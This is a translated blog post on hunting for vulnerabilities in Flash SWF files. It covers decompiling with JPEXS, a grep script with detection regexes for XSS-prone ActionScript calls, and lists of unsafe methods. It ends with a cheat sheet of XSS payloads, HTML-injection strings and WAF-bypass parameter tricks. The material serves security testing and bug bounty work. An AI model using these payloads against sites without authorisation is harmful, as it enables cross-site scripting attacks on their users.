前言

作为一个用户,我不是很关心这些试图吸引我眼球的Flash之类的东西,甚至大多数时候我都会禁用它们。作为一名开发人员,它让我想起一段不太美好的回忆,曾经有一阵子营销人员一直想在网站上添加它们,是的,这看起来也太愚蠢了!作为一名黑客,嗯......好吧,我实在看不出它的好处在哪里,但我最近学会了如何在其上找到问题,这非常有趣。我曾经差一点就要成功了,因为我很快找到了3个XSS,但不幸的是我的所有漏洞申请都被标记为重复。

工具

JPEXS Free Flash Decompiler(https://www.free-decompiler.com/flash/)
用于反编译SWF文件,读取源代码并将其完全导出。
Flash Player Projector content(https://www.flash.cn/support/debug-downloads)
我在JPEXS中配置的Flash播放器。
Flash Player Projector内容调试器(https://www.flash.cn/support/debug-downloads)
我在JPEXS中配置的Flash播放器debug版本。
Flash Player插件内容调试器(https://www.flash.cn/support/debug-downloads)
用于启用浏览器Flash插件的debug模式。
testflash.php(http://10degres.net/assets/testflash.txt)
是我写的一个快速页面,用于执行本地测试。

使用Flash播放器的debug版本并在MacroMedia配置文件(https://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7fc9.html)
的帮助下,flash日志已启用,并且它将包含开发人员设置的内容:

$ cat ~/mm.cfg
ErrorReportingEnable=1
TraceOutputFileEnable=1
MaxWarnings=50
AS3Trace=1

获取代码

1.下载SWF:

wget <url>

2.使用JPEXS Free Flash Decompiler打开SWF文件
3.全选:

ctrl+a

4.输出:

right click -> export selection

5.删除重复文件:

find <export_dir> -type f -name "*_[0123456789]*" -exec rm {} \;

提取数据

查找注释:

extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -c

查找hash值或者有趣的关键字:

extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -k

查找终端:

extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1

找到所有带有flash-regexp.sh的比较有趣的内容:

#!/bin/bash

target_dir=$1

cat "flash-regexp.txt" | while read -r r; do
    echo "$r" | awk -F ";;" '{print $1" : "$2}'
    reg=`echo "$r" | awk -F ";;" '{print $3}'`
    escape_reg=$reg
    escape_reg=$(echo $escape_reg | sed "s/\"/\\\\\"/g")
    echo $escape_reg
    egrep --color -ri "$escape_reg" $target_dir
    echo
    echo
done

我在那里找到了所有的,基于列表的检索目标行命令,以下是其中的一部分:

Flash XSS (HIGH);;clicktag XSS;;geturl\(.*clicktag.*\)
Flash XSS (HIGH);;getURL XSS;;geturl\(.*(_root\.|_level0\.|_global\.).*\)
Flash XSS (HIGH);;getURL XSS;;geturl\([^'".]*\)
Flash XSS (HIGH);;navigateToURL XSS;;navigateToURL\([^'".]*\)
Flash XSS (HIGH);;ExternalInterface.call XSS;;ExternalInterface\.call\(.*(_root\.|_level0\.|_global\.).*\)
...
...

手动分析

启用并检查Flash日志:

cd /usr/lib/adobe-flashplugin
cp libflashplayer_debug.so libflashplayer.so
tail -f ~/.macromedia/Flash_Player/Logs/flashlog.txt | grep -a -v AVMINF

在本地运行包含测试页中所有参数的SWF文件:

firefox http://127.0.0.1/testflash/testflash.php?__swf=<MYSWF_FILE>.swf&param1=value1&param2=value2...

在JPEXS中查找参数,并且从初始化到最终使用,持续地逐个跟踪它们:

ctrl+shift+F + Ignore case -> flashvars

找到JPEXS中的危险方法名并反向跟踪参数:

ctrl+shift+F + Ignore case -> geturl

注意

Actionscript中的不安全方法名:

loadVariables()
getURL()
getURLBlankVar()
getURLParentVar()
getURLJSParam()
loadMovie()
loadMovieVar()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load 
LoadVars.send 
XML.load ( 'url' )
XML.sendAndLoad ( 'url' )
LoadVars.load ( 'url' )
LoadVars.send ( 'url' ) 
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
externalInterface.addCallback
htmlText
htmlVar
loadClip
AddDLL

可以加载对象或发送/接收/存储数据的函数:

XMLLoader, AMFService, SWFLoader, loadVariables, loadMovie,
loadMovieNum, LoadVars.load, LoadVars.send, NetStream.play,
getDefinition, getDefinition, FScrollPane.loadScrollContent, XML.load,
Sound.loadSound, NetStream.play, URLRequest, URLLoader,
URLStream, LocalConnection, SharedObject

未初始化的全局变量(ActionScript 2):

_root
_global
_level0

未初始化的全局变量(ActionScript 3):

root
loaderInfo
parameters

XSS Payload

AS2 getURL() / AS3 NavigateToURL():

javascript:alert(1)
javascript://adobe.com%0aalert(1)
data:text/html,<script>alert(1)<script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

AS2 fscommand, AS2 .watch, AS3 externalInterface.Call (比如PHPpreg_replace/e这样的问题):

alert`0`
%#jsinitfunctio%gn=alert%601%60
\"))-alert(1)}catch(e){}//
\"))} catch(e) {alert(1);}//
\');alert(document.domain);
\"));throw_error()}catch(e){alert(document.domain))}//
\");function%20someFunction(a){}prompt(1)//
"%5D);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
flash.external.ExternalInterface.call("alert", '1');

注入HTML:

<img src='javascript:alert(1)//.swf'>
<a href=asfunction:System.Security.allowDomain,www.example.com>
<a href=asfunction:getURL,javascript:alert(1)>

绕过WAF:

param1=value1
pa%Xram1=val%Yue1
pa%=ram1=val%#ue1
pa%AXram1=val%B#ue1
File.swf?%#param1=value1&p2=v2
%#jsinitfunctio%gn=alert%601%60

触发错误:

xxx"'(){}\"\'(){}\\'\\"(){}xxx
原文链接:http://10degres.net/testing-flash-swf/

源链接

Hacking more

...